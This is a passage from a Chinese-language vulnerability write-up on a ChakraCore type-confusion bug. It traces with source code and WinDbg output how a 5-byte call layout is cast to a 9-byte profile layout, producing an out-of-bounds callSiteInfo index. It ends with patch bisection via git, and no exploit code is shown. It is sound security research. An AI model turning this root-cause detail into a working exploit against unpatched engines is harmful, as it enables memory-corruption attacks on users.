ip;</span><br><span class="line"> }(ip);</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>继续跟踪,新得到的 NewScObjArray OpCode 进入 switch case 分支,其具体的分支处理代码由宏实现</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// lib\runtime\language\interpreterhandler.inl</span></span><br><span class="line">EXDEF3_WMS(CALL, NewScObjectSpread, OP_NewScObjectSpread, CallIExtended)</span><br><span class="line"> DEF3_WMS(CALL, NewScObjArray, OP_NewScObjArray, CallI)</span><br><span class="line"> DEF3_WMS(CALL, NewScObjArraySpread, OP_NewScObjArraySpread, CallIExtended)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>上面 switch case 中, DEF3_WMS 的定义为 </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> DEF3_WMS(x, op, func, y) PROCESS_##x##_COMMON(op, func, y, _Medium)</span></span><br></pre></td></tr></table></figure><p>所以宏展开之后为</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PROCESS_CALL_COMMON(NewScObjArray, OP_NewScObjArray, CallI, _Medium)</span><br></pre></td></tr></table></figure><p>我们继续看 PROCESS_CALL_COMMON 的定义,也是个宏</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> PROCESS_CALL_COMMON(name, func, layout, suffix) \</span></span><br><span class="line"><span class="meta"> case OpCode::name: \</span></span><br><span class="line"><span class="meta"> { \</span></span><br><span class="line"><span class="meta"> PROCESS_READ_LAYOUT(name, layout, suffix); \</span></span><br><span class="line"><span class="meta"> func(playout); \</span></span><br><span class="line"><span class="meta"> break; \</span></span><br><span class="line"><span class="meta"> }</span></span><br></pre></td></tr></table></figure><p>PROCESS_READ_LAYOUT 的定义如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> PROCESS_READ_LAYOUT(name, layout, suffix) \</span></span><br><span class="line"><span class="meta"> CompileAssert(OpCodeInfo<span class="string"><OpCode::name></span>::Layout == OpLayoutType::layout); \</span></span><br><span class="line"><span class="meta"> const unaligned OpLayout##layout##suffix * playout = m_reader.layout##suffix(ip); \</span></span><br><span class="line"><span class="meta"> Assert((playout != nullptr) == (Js::OpLayoutType::##layout != Js::OpLayoutType::Empty)); <span class="comment">// Make sure playout is used</span></span></span><br></pre></td></tr></table></figure><p>继续展开</p><p>注意这里的展开用到了 ## 连接符,另外一个就是宏在参数替换的时候是以 token 为单位的,在下面的例子中,就是根据 ## 和标点符号将表达式划分成 token 列表,与参数列表项匹配的 token 将会被替换。</p><p>在这里我纠结了很久 m_reader.layout##suffix 到底替换不替换,以及 OpLayout##layout##suffix 为什么不写成 OpLayoutlayout##suffix,后来查资料,比较少的资料提到了替换的基本单元是 token,</p><p>也就是 token 内部的匹配项是不替换的。</p><p>譬如下面的参数中有 layout,而 token 中有 playout,此时不会将 playout 替换为 pCALLI。</p><p>参考: <a href="https://www.jianshu.com/p/f8cb57957c03">https://www.jianshu.com/p/f8cb57957c03</a></p><p>参考: <a href="https://zhuanlan.zhihu.com/p/26978356">https://zhuanlan.zhihu.com/p/26978356</a></p><p>全部展开之后的 case 分支为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">case</span> OpCode::NewScObjArray: \</span><br><span class="line"> { \</span><br><span class="line"> CompileAssert(OpCodeInfo<OpCode::NewScObjArray>::Layout == OpLayoutType::CallI); \</span><br><span class="line"> <span class="type">const</span> unaligned OpLayoutCallI_Medium* playout = m_reader.CallI_Medium(ip); \</span><br><span class="line"> Assert((playout != nullptr) == (Js::OpLayoutType::CallI != Js::OpLayoutType::Empty)); <span class="comment">// Make sure playout is used</span></span><br><span class="line"></span><br><span class="line"> OP_NewScObjArray(playout); \</span><br><span class="line"> <span class="keyword">break</span>; \</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>ByteCodeReader::CallI_Medium 是通过宏的方式生成的,一步步的展开之后是:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="type">const</span> unaligned OpLayoutCallI_Medium * <span class="title function_">ByteCodeReader::CallI_Medium</span><span class="params">()</span> \</span><br><span class="line"> { \</span><br><span class="line"> <span class="keyword">return</span> GetLayout<OpLayoutCallI_Medium>(); \</span><br><span class="line"> } \</span><br><span class="line"> <span class="type">const</span> unaligned OpLayoutCallI_Medium * <span class="title function_">ByteCodeReader::CallI_Medium</span><span class="params">(<span class="type">const</span> byte*& ip)</span> \</span><br><span class="line"> { \</span><br><span class="line"> <span class="keyword">return</span> GetLayout<OpLayoutCallI_Medium>(ip); \</span><br><span class="line"> }</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>跟进 CallI_Medium 调用,调用至 GetLayout</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">0:004> t</span><br><span class="line">chakracore!Js::ByteCodeReader::CallI_Medium:</span><br><span class="line">00007ffb`c0814570 4889542410 mov qword ptr [rsp+10h],rdx ss:0000000a`a2bfcae8=0000000aa2bfcb48</span><br><span class="line">0:004> t</span><br><span class="line">chakracore!Js::ByteCodeReader::GetLayout<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<1> > >:</span><br><span class="line">00007ffb`c079e010 4889542410 mov qword ptr [rsp+10h],rdx ss:0000000a`a2bfcab8=00000125d6bf3900</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>GetLayout 函数的定义如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">template<typename LayoutType></span><br><span class="line"> <span class="type">const</span> unaligned LayoutType * <span class="title function_">ByteCodeReader::GetLayout</span><span class="params">(<span class="type">const</span> byte*& ip)</span></span><br><span class="line"> {</span><br><span class="line"> <span class="type">size_t</span> layoutSize = <span class="keyword">sizeof</span>(LayoutType);</span><br><span class="line"></span><br><span class="line"> AssertMsg((layoutSize > <span class="number">0</span>) && (layoutSize < <span class="number">100</span>), <span class="string">"Ensure valid layout size"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="type">const</span> byte * layoutData = ip;</span><br><span class="line"> ip += layoutSize;</span><br><span class="line"> m_currentLocation = ip;</span><br><span class="line"></span><br><span class="line"> Assert(m_currentLocation <= m_endLocation);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> reinterpret_cast<<span class="type">const</span> unaligned LayoutType *>(layoutData);</span><br><span class="line"> }</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>此时的 LayoutType 类型定义为: Js::OpLayoutT_CallI<Js::LayoutSizePolicy<1> ></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">template <typename SizePolicy></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">OpLayoutT_CallI</span> // <span class="title">Return</span> =</span> Function(ArgCount)</span><br><span class="line"> {</span><br><span class="line"> typename SizePolicy::ArgSlotType ArgCount;</span><br><span class="line"> typename SizePolicy::RegSlotSType Return;</span><br><span class="line"> typename SizePolicy::RegSlotType Function;</span><br><span class="line"> };</span><br></pre></td></tr></table></figure><p>LayoutType 的大小为 5 字节</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0:004> dv layoutSize</span><br><span class="line"> layoutSize = 5</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>GetLayout 函数主要是从当前 ip 的位置读取 sizeof(LayoutType) 字节的数据作为 LayoutType 类型的 layoutData 返回,然后 ip 向后偏移 sizeof(LayoutType) 字节</p><p>参考上面的 Case OpNewScObj 分支,从 GetLayout 返回之后,进入 OP_NewScObjArray(),OP_NewScObjArray() 继续调用其具体实现 OP_NewScObjArray_Impl()</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">template <<span class="class"><span class="keyword">class</span> <span class="title">T</span>></span> <span class="type">void</span> <span class="title function_">OP_NewScObjArray</span><span class="params">(<span class="type">const</span> unaligned T* playout)</span> { OP_NewScObjArray_Impl<T, <span class="literal">false</span>>(playout); }</span><br><span class="line"></span><br><span class="line">template <<span class="class"><span class="keyword">class</span> <span class="title">T</span>, <span class="title">bool</span> <span class="title">Profiled</span>></span></span><br><span class="line"> <span class="type">void</span> <span class="title function_">InterpreterStackFrame::OP_NewScObjArray_Impl</span><span class="params">(<span class="type">const</span> unaligned T* playout, <span class="type">const</span> Js::AuxArray<uint32> *spreadIndices)</span>;</span><br></pre></td></tr></table></figure><p>OP_NewScObjArray_Impl 的 playout 即为通过 GetLayout 得到的 layoutData</p><p>在 OP_NewScObjArray_Impl() 内部,它会调用 ProfilingHelpers::ProfiledNewScObjArray() 以实现对 OP_NewScObjArray 的 Profile 支持。</p><p>特别需要注意的是它调用 ProfilingHelpers::ProfiledNewScObjArray() 时的参数,这里的 playout 将通过类型转换至 const unaligned OpLayoutDynamicProfile2<T> * 即 const unaligned OpLayoutDynamicProfile2< Js::OpLayoutT_CallI<Js::LayoutSizePolicy<1> > > *</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">SetReg(</span><br><span class="line"> (RegSlot)playout->Return,</span><br><span class="line"> ProfilingHelpers::ProfiledNewScObjArray(</span><br><span class="line"> GetReg(playout->Function),</span><br><span class="line"> args,</span><br><span class="line"> function,</span><br><span class="line"> static_cast<<span class="type">const</span> unaligned OpLayoutDynamicProfile2<T> *>(playout)->profileId,</span><br><span class="line"> static_cast<<span class="type">const</span> unaligned OpLayoutDynamicProfile2<T> *>(playout)->profileId2));</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>下面看一下 OpLayoutDynamicProfile2 结构体和之前的 Js::OpLayoutT_CallI 有何不同</p><p>OpLayoutDynamicProfile2 结构体的定义如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">template <typename LayoutType></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">OpLayoutDynamicProfile2</span> :</span> public LayoutType</span><br><span class="line">{</span><br><span class="line"> ProfileId profileId;</span><br><span class="line"> ProfileId profileId2;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> uint16 ProfileId;</span><br></pre></td></tr></table></figure><p>看来两个结构体之间是继承关系。</p><p>因为这里的 OpLayoutDynamicProfile2 继承了 LayoutType(Js::OpLayoutT_CallI<Js::LayoutSizePolicy<1> >)结构体,相当于扩充了结构体的大小,在尾部增加了两个结构体成员(uint16)</p><p>上面调试中,LayoutType 的大小为 5 字节,此时 OpLayoutDynamicProfile2 为 9 个字节。</p><p>而在 InterpreterStackFrame::OP_NewScObjArray_Impl,调用 ProfilingHelpers::ProfiledNewScObjArray 函数传入的参数正是类型转换之后的 profileId 和 profileId2。</p><p>我们继续动态跟踪一下调用时的状态及实际的参数 </p><p>首先来看一下调用 ProfilingHelpers::ProfiledNewScObjArray 之前 playout 的内存状态</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">0:004> dt playout</span><br><span class="line">Local var @ 0xbdf2bfce48 Type Js::OpLayoutT_CallI<Js::LayoutSizePolicy<1> >*</span><br><span class="line">0x0000024b`c2111c64 </span><br><span class="line"> +0x000 ArgCount : 0x2 ''</span><br><span class="line"> +0x001 Return : 0n254</span><br><span class="line"> +0x003 Function : 0xfe</span><br><span class="line"></span><br><span class="line">// playout 是个指针,需要 poi 查看具体的内存对象</span><br><span class="line"></span><br><span class="line">0:004> db poi(playout)</span><br><span class="line">0000024b`c2111c64 02 fe 00 fe 00 fa fe e9-09 1c 00 e7 fb 06 07 05 ................</span><br><span class="line">0000024b`c2111c74 00 5c 00 0a 5c 01 f4 5c-02 fb 5c 03 f5 5c 04 09 .\..\..\..\..\..</span><br><span class="line">0000024b`c2111c84 f6 05 ff f6 06 00 e9 a8-00 24 00 00 00 00 00 00 .........$......</span><br><span class="line">0000024b`c2111c94 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................</span><br><span class="line">0000024b`c2111ca4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................</span><br><span class="line">0000024b`c2111cb4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................</span><br><span class="line">0000024b`c2111cc4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................</span><br><span class="line">0000024b`c2111cd4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................</span><br></pre></td></tr></table></figure><p>注意 playout 内存的前 5 个字节属于 LayoutType(Js::OpLayoutT_CallI<Js::LayoutSizePolicy<1> >),而后面的四个字节 0xfa 0xfe 0xe9 0x09 是 OpLayoutDynamicProfile2 自己派生的两个变量</p><p>这里就是问题所在了,我们在理清一下思路。</p><p>也就是说,本来我们通过 GetLayout 读取到的 playout 是一个 5 字节的结构体,但是此时类型转换之后, profileId(0xfefa) 和 profileId2(0x09e9) 被作为参数传入 ProfilingHelpers::ProfiledNewScObjArray</p><p>下面来跟踪证实一下我们的判断,看一下这两个参数的值</p><p>进入 ProfilingHelpers::ProfiledNewScObjArray 函数后,打印两个参数值,发现正是 0xfefa 和 0x09e9</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">0:004> </span><br><span class="line">chakracore!Js::ProfilingHelpers::ProfiledNewScObjArray+0x33a:</span><br><span class="line">00007ffb`c10d058a 488b8c2400010000 mov rcx,qword ptr [rsp+100h] ss:000000bd`f2bfcd20=0000024bc04c3cc0</span><br><span class="line">0:004> dt profileId</span><br><span class="line">Local var @ 0xbdf2bfcd28 Type unsigned short</span><br><span class="line">0xfefa</span><br><span class="line">0:004> dt arrayProfileId</span><br><span class="line">Local var @ 0xbdf2bfcd30 Type unsigned short</span><br><span class="line">0x9e9</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>我们继续跟踪,ProfilingHelpers::ProfiledNewScObjArray 会将 profileId(0xfefa)参数作为 callSiteId 实参传递给 RecordCallSiteInfo()</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">profileInfo->RecordCallSiteInfo(</span><br><span class="line"> callerFunctionBody,</span><br><span class="line"> profileId,</span><br><span class="line"> calleeFunctionInfo,</span><br><span class="line"> caller,</span><br><span class="line"> args.Info.Count,</span><br><span class="line"> <span class="literal">true</span>);</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">0:004> </span><br><span class="line">chakracore!Js::DynamicProfileInfo::RecordCallSiteInfo+0x105:</span><br><span class="line">00007ffb`c0f3b935 488b8424b8000000 mov rax,qword ptr [rsp+0B8h] ss:000000bd`f2bfcc38={chakracore!Js::JavascriptArray::EntryInfo::NewInstance (00007ffb`c1f7b418)}</span><br><span class="line">0:004> dt callSiteId</span><br><span class="line">Local var @ 0xbdf2bfcc30 Type unsigned short</span><br><span class="line">0xfefa</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>而 callSiteId(0xfefa)在 RecordCallSiteInfo 内部会作为数组索引访问 this->callSiteInfo。那么此时 this->callSiteInfo 数组的真实长度是多少呢?</p><p>这就要看一下 this->callSiteInfo 的初始化过程了,this->callSiteInfo 的初始化是在 DynamicProfileInfo::New()</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">DynamicProfileInfo* <span class="title function_">DynamicProfileInfo::New</span><span class="params">(Recycler* recycler, FunctionBody* functionBody, <span class="type">bool</span> persistsAcrossScriptContexts)</span></span><br><span class="line"> {</span><br><span class="line"> <span class="type">size_t</span> totalAlloc = <span class="number">0</span>;</span><br><span class="line"> Allocation batch[] =</span><br><span class="line"> {</span><br><span class="line"> { (uint)offsetof(DynamicProfileInfo, callSiteInfo), functionBody->GetProfiledCallSiteCount() * <span class="keyword">sizeof</span>(CallSiteInfo) },</span><br><span class="line"> { (uint)offsetof(DynamicProfileInfo, ldElemInfo), functionBody->GetProfiledLdElemCount() * <span class="keyword">sizeof</span>(LdElemInfo) },</span><br><span class="line"> { (uint)offsetof(DynamicProfileInfo, stElemInfo), functionBody->GetProfiledStElemCount() * <span class="keyword">sizeof</span>(StElemInfo) },</span><br><span class="line"> { (uint)offsetof(DynamicProfileInfo, arrayCallSiteInfo), functionBody->GetProfiledArrayCallSiteCount() * <span class="keyword">sizeof</span>(ArrayCallSiteInfo) },</span><br><span class="line"> { (uint)offsetof(DynamicProfileInfo, fldInfo), functionBody->GetProfiledFldCount() * <span class="keyword">sizeof</span>(FldInfo) },</span><br><span class="line"> { (uint)offsetof(DynamicProfileInfo, divideTypeInfo), functionBody->GetProfiledDivOrRemCount() * <span class="keyword">sizeof</span>(ValueType) },</span><br><span class="line"> { (uint)offsetof(DynamicProfileInfo, switchTypeInfo), functionBody->GetProfiledSwitchCount() * <span class="keyword">sizeof</span>(ValueType)},</span><br><span class="line"> { (uint)offsetof(DynamicProfileInfo, slotInfo), functionBody->GetProfiledSlotCount() * <span class="keyword">sizeof</span>(ValueType) },</span><br><span class="line"> { (uint)offsetof(DynamicProfileInfo, parameterInfo), functionBody->GetProfiledInParamsCount() * <span class="keyword">sizeof</span>(ValueType) },</span><br><span class="line"> { (uint)offsetof(DynamicProfileInfo, returnTypeInfo), functionBody->GetProfiledReturnTypeCount() * <span class="keyword">sizeof</span>(ValueType) },</span><br><span class="line"> { (uint)offsetof(DynamicProfileInfo, loopImplicitCallFlags), (EnableImplicitCallFlags(functionBody) ? (functionBody->GetLoopCount() * <span class="keyword">sizeof</span>(ImplicitCallFlags)) : <span class="number">0</span>) },</span><br><span class="line"> { (uint)offsetof(DynamicProfileInfo, loopFlags), functionBody->GetLoopCount() ? BVFixed::GetAllocSize(functionBody->GetLoopCount() * LoopFlags::COUNT) : <span class="number">0</span> }</span><br><span class="line"> };</span><br><span class="line"> ...</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>可以看到 callSiteInfo 数组的长度是通过 functionBody->GetProfiledCallSiteCount() 获得的,也就是 FunctionBody 对象的 profiledCallSiteCount 成员变量的值。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ProfileId <span class="title function_">GetProfiledCallSiteCount</span><span class="params">()</span> <span class="type">const</span> { <span class="keyword">return</span> this->profiledCallSiteCount; }</span><br></pre></td></tr></table></figure><p>那么此时在内存中 callSiteInfo 数组的真实长度是多少呢?也就是 functionBody 的 profiledCallSiteCount 成员的值。通过 functionBody 对象我们来看一下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">0:004> dt functionBody profiledCallSiteCount</span><br><span class="line">Local var @ 0xbdf2bfcc28 Type Js::FunctionBody*</span><br><span class="line">0x0000024b`c19b01d0 </span><br><span class="line"> +0x170 profiledCallSiteCount : 2</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>callSiteInfo 数组的长度是 2</p><p>在 callSiteInfo 数组长度是 2 的情况下,竟然尝试以 0xfefa 索引访问它,所以当然是内存越界了。</p><p>我们继续通过调试器验证一下这个动态的过程</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">// this->callSiteInfo 的地址为 0x0000024b`c0a100b8</span><br><span class="line">0:004> dt this callSiteInfo</span><br><span class="line">Local var @ 0xbdf2bfcc20 Type Js::DynamicProfileInfo*</span><br><span class="line">0x0000024b`c0a10020 </span><br><span class="line"> +0x008 callSiteInfo : 0x0000024b`c0a100b8 Js::DynamicProfileInfo::CallSiteInfo</span><br><span class="line"></span><br><span class="line">// 查看 js::DynamicProfileInfo::CallSiteInfo 具体的数据结构定义</span><br><span class="line">0:004> dt js::DynamicProfileInfo::CallSiteInfo</span><br><span class="line">chakracore!Js::DynamicProfileInfo::CallSiteInfo</span><br><span class="line"> +0x000 isArgConstant : Pos 0, 13 Bits</span><br><span class="line"> +0x000 isConstructorCall : Pos 13, 1 Bit</span><br><span class="line"> +0x000 dontInline : Pos 14, 1 Bit</span><br><span class="line"> +0x000 isPolymorphic : Pos 15, 1 Bit</span><br><span class="line"> +0x002 returnType : ValueType</span><br><span class="line"> +0x004 ldFldInlineCacheId : Uint4B</span><br><span class="line"> +0x008 u : Js::DynamicProfileInfo::CallSiteInfo::<unnamed-type-u></span><br><span class="line"></span><br><span class="line">// 计算 this->callSiteInfo 数组项 js::DynamicProfileInfo::CallSiteInfo 结构体的大小,0x10 字节</span><br><span class="line">0:004> ?? sizeof(js::DynamicProfileInfo::CallSiteInfo)</span><br><span class="line">unsigned int64 0x10</span><br><span class="line"></span><br><span class="line">// this->callSiteInfo[callSiteId] 的地址 0000024b`c0b0f058 第 0xfefa 项的真实地址是多少? 是 0x0000024b`c0b0f058</span><br><span class="line">0:004> ?? 0x0000024b`c0a100b8+0x10*0xfefa</span><br><span class="line">int64 0n2524378624088</span><br><span class="line">0:004> ? 0x0000024b`c0a100b8+0x10*0xfefa</span><br><span class="line">Evaluate expression: 2524378624088 = 0000024b`c0b0f058</span><br></pre></td></tr></table></figure><p>实际调试验证最终崩溃点 if (!callSiteInfo[callSiteId].isPolymorphic) 地址是不是我们上一步自己计算的地址</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">0:004> p</span><br><span class="line">chakracore!Js::DynamicProfileInfo::RecordCallSiteInfo+0x158:</span><br><span class="line">00007ffb`c0f3b988 0fb78424b0000000 movzx eax,word ptr [rsp+0B0h] ss:000000bd`f2bfcc30=fefa</span><br><span class="line"></span><br><span class="line">// 内存访问异常的地址正是 0x0000024b`c0b0f058</span><br><span class="line">0:004> </span><br><span class="line">(3628.1794): Access violation - code c0000005 (first chance)</span><br><span class="line">First chance exceptions are reported before any exception handling.</span><br><span class="line">This exception may be expected and handled.</span><br><span class="line">chakracore!Js::DynamicProfileInfo::RecordCallSiteInfo+0x170:</span><br><span class="line">00007ffb`c0f3b9a0 0fb70401 movzx eax,word ptr [rcx+rax] ds:0000024b`c0b0f058=????</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="4-4-漏洞的根本原因"><a href="#4-4-漏洞的根本原因" class="headerlink" title="4.4 漏洞的根本原因"></a>4.4 漏洞的根本原因</h3><p>截至目前,我们可以总结一下漏洞的根本原因了</p><p>在处理 OP_NewScObjArray Opcode 时,通过 GetLayout 得到的 layoutData 本身是个 5 字节长度的 Js::OpLayoutT_CallI<Js::LayoutSizePolicy<1> > 类型,但是在 ProfilingHelpers::ProfiledNewScObjArray() 内部竟然被转换为 9 字节长度的 const unaligned OpLayoutDynamicProfile2<T> * 类型。</p><p>转换之后,越界访问得到的错误 profileId 被当作了 DynamicProfileInfo->callSiteInfo 的数组索引,造成内存越界访问异常。</p><p>总结起来,这是个类型混淆导致的越界访问漏洞。</p><h2 id="5-补丁分析"><a href="#5-补丁分析" class="headerlink" title="5 补丁分析"></a>5 补丁分析</h2><h3 id="5-1-如何知道该漏洞在哪个版本被修复的"><a href="#5-1-如何知道该漏洞在哪个版本被修复的" class="headerlink" title="5.1 如何知道该漏洞在哪个版本被修复的"></a>5.1 如何知道该漏洞在哪个版本被修复的</h3><p>本来希望可以通过 git log 的 -L 参数实现对函数的追踪,不过实际测试发现不起作用。</p><p>最后想到的方法是先通过 git log + grep 碰碰运气,然后手动测试</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">test@test MINGW64 /k/edge/ChakraCore (master)</span><br><span class="line">$ git log --reverse -p v1.2.0.0..HEAD lib/Runtime/Language/InterpreterStackFrame.cpp |grep "OP_NewScObjArray_Impl" -B 120</span><br></pre></td></tr></table></figure><p>发现只有一条 commit 涉及 OP_NewScObjArray_Impl,我们来看一下这个 commit</p><p>下面来分别编译补丁前后两个版本测试 poc 能否触发</p><h4 id="5-2-checkout-打上疑似补丁的版本测试"><a href="#5-2-checkout-打上疑似补丁的版本测试" class="headerlink" title="5.2 checkout 打上疑似补丁的版本测试"></a>5.2 checkout 打上疑似补丁的版本测试</h4><p>从 master 分支回退到上面发现的补丁版本(8bd6826aea01ff1af36f2a83fe00c44799ba80cb),即打上疑似补丁的版本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">test@test MINGW64 /k/edge/ChakraCore (master)</span><br><span class="line">$ git checkout 8bd6826aea01ff1af36f2a83fe00c44799ba80cb</span><br><span class="line">Checking out files: 100% (1579/1579), done.</span><br><span class="line">Note: checking out '8bd6826aea01ff1af36f2a83fe00c44799ba80cb'.</span><br></pre></td></tr></table></figure><p>VS2017 编译,然后测试</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\test>"K:\edge\ChakraCore\Build\VcBuild\bin\x64_debug\ch.exe" "K:\edge\OP_NewScObjArray_Type_Confusion\poc\pure_js_poc.js"</span><br><span class="line"></span><br><span 